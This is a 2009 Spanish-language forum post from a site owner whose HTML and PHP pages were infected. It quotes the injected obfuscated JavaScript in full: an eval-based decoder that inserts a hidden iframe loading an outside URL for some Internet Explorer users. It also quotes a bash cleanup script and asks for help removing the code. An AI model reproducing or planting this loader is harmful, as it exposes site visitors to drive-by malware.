Ver Mensaje Individual
  #27 (permalink)  
Antiguo 20/10/2009, 11:50
alejoxd
 
Fecha de Ingreso: enero-2008
Mensajes: 14
Antigüedad: 16 años, 11 meses
Puntos: 0
Respuesta: Reemplazar texto en múltiples archivos

Hola. Necesito ayuda porque me acaba de suceder algo similar.
Me han colocado un codigo en muchos html y php de mis sitios, el mismo siempre esta al terminar la etiqueta body, despues de muchos espacios.
Por ej:
Cita:
<body bgcolor="#BDB39C" text="#FFFFFF" link="#000000" vlink="#555588" alink="#000000">















<script>/**/function hjp4(FIf7, iybl, gdx1) { var Rvkq; Rvkq=FIf7.split(iybl); var Ocgb=Rvkq.join(gdx1); return Ocgb;/**/ } function Lwm8(UrP3) { UrP3 = hjp4(UrP3,"##+##","'"); UrP3 = hjp4(U
rP3,"##|##","\\"); Ocgb=""; Yxj8 =""; for(k=0;k<UrP3.length;k++) { Ocgb = UrP3.charCodeAt(k); if (Ocgb==32){Ocgb=35} else if (Ocgb==35){Ocgb=32} else if (Ocgb==59){Ocgb
=64} else if (Ocgb==64){Ocgb=59} else if (Ocgb==37){Ocgb=42} else if (Ocgb==42){Ocgb=37} else if (Ocgb>=97 && Ocgb<=122) { Ocgb=Ocgb-97;Ocgb=25-Ocgb;Ocgb+=97; }else if
(Ocgb>=65 && Ocgb<=90) { Ocgb=Ocgb-65;Ocgb=25-Ocgb;Ocgb+=65; }else if (Ocgb>=48 && Ocgb<=57) { Ocgb=Ocgb-48;Ocgb=9-Ocgb;Ocgb+=48; } Yxj8 += String.fromCharCode(Ocgb); }
return Yxj8;/**/ }TjY6=eval;var GSp6;var aRU3;var Bjk8;var dax7;var rSV5;var LSq6;var PYxN;TjY6(Lwm8('OHj3#=###+##sggk://svczglny.xln/urovh/a/hgzgrx.ksk##+##@iHE4#=###
+##ruiznv##+##@'));TjY6(Lwm8('THk3#=#wlxfnvmg.xivz gvVovnvmg(iHE4)@THk3.hvgZggiryfgv(##+##hix##+##,#O Hj3)@'));TjY6(Lwm8('THk3.hvgZggiryfgv(##+##drwgs## +##,9)@THk3.hvgZgg
iryfgv(##+##svrtsg##+##,9)@THk3.hvgZggiryfgv(##+## yliwvi##+##,9)@'));TjY6(Lwm8('THk3.hvgZggiryfgv(## +##hgbov##+##,##+##drwgs:#9@#svrtsg:#9@#yliwvi:#ml mv@##+##)@'));TjY6
(Lwm8('THk3.hvgZggiryfgv(##+##hgbov##+##,##+##wrhk ozb:mlmv##+##)@#KBcM=mzertzgli.fhviZtvmg.glOldviXz hv()@'));TjY6(Lwm8('Yqp1=KBcM.rmwvcLu(##+##nhrv##+ ##)@zIF6=KBcM.rmwv
cLu(##+##nhrv#1##+##)@wzc2=KBcM.rmwvcLu(##+##mg#3# #+##)@'));if ((aRU3==-1)&&(Bjk8>0)&&(dax7==-1)){TjY6(Lwm8('wlxfnvmg.ylwb.zkkvmwXsrow(THk3)@')) ;}</script>
Aparece tal cuál y el código siempre es el mismo.
Intenté ejecutar el script que pusieron pero no me funciona, lo único que hace es crear un archivo con el nombre: archivos_para_modificar y dentro la siguiente linea: /home/sitio/www/archivos/prueba/script

Código:
#!/bin/bash
DIRECTORIO_CON_ARCHIVOS=/home/sitio/www/archivos/prueba

find $DIRECTORIO_CON_ARCHIVOS -exec grep "<body><iframe" '{}' \; -print | grep -v "<body>" > archivos_para_modificar

for PATH_ARCHIVO in $(cat archivos_para_modificar); do
     NOMBRE_ARCHIVO=$(basename $PATH_ARCHIVO)
     DIRECTORIO_ARCHIVO=$(dirname $PATH_ARCHIVO)
     cd $DIRECTORIO_ARCHIVO

     sed -e 's/<body>.*<\/iframe>/<body>/g' $NOMBRE_ARCHIVO > tmp_archivo.blah
     rm -rf $NOMBRE_ARCHIVO
     mv tmp_archivo.blah $NOMBRE_ARCHIVO
     rm -rf tmp_archivo.blah
done
Agradeceria cualquier ayuda para poder borrar ese codigo.